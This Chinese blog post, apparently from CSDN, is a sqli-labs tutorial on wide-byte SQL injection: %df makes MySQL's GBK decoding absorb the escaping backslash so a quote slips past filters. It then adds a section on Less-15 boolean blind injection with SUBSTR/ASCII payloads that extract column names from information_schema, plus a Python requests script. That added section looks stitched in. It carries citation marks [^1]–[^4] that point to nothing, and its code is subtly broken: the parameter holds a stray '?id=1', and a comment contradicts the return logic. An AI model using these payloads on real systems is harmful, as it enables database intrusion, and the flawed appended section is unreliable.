sqli-labs————宽字节注入(可以用于绕过滤了单引号或者\的WAF)

宽字节注入的原理:

原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。

我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' 。


宽字节注入实现:

因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

(1)%df吃掉 \
具体的原因是urlencode('\) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
(2)将 \' 中的 \ 过滤掉
例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
### 关于SQLi-Labs Less-15中的布尔盲注利用`substr`函数 在处理布尔盲注攻击时,通常通过发送特定条件查询来推断数据库的内容。对于Less-15级别的练习,目标是从`information_schema.columns`表中提取数据列名称的信息。 为了实现这一点,可以构建如下形式的payload: ```sql ?id=1 AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),position,1))>value# ``` 这里的关键在于理解如何逐步猜测字符并验证结果。具体来说,可以通过调整`position`参数的位置以及比较操作符右侧的`value`来进行二分查找,直到成功重建整个字符串[^1]。 当遇到错误提示如:“You have an error in your SQL syntax”,这表明输入被服务器识别为非法语句,可能是由于单引号未闭合或其他语法问题引起。此时应确保所有特殊字符都已正确编码或转义[^2]。 另外一种方法是采用时间延迟技术(例如`SLEEP()`),这种方法可以在某些情况下过简单的WAF防护措施。不过,在布尔型注入场景下更常用的是直接基于真假返回不同的页面响应内容来进行判断[^3]。 最后值得注意的是版本差异可能影响具体的执行细节;因此建议先确认MySQL的具体版本再做进一步尝试[^4]。 ```python import requests def check_payload(payload): url = 'http://example.com/vulnerable_page' params = {'id': payload} response = requests.get(url, params=params) # 假设如果存在漏洞则会显示正常页面,否则报错 return "you are in" not in response.text.lower() # 测试用例 test_case = "?id=1 AND IF(ASCII(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='USERS'),1,1))=97,TRUE,FALSE)" print(check_payload(test_case)) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值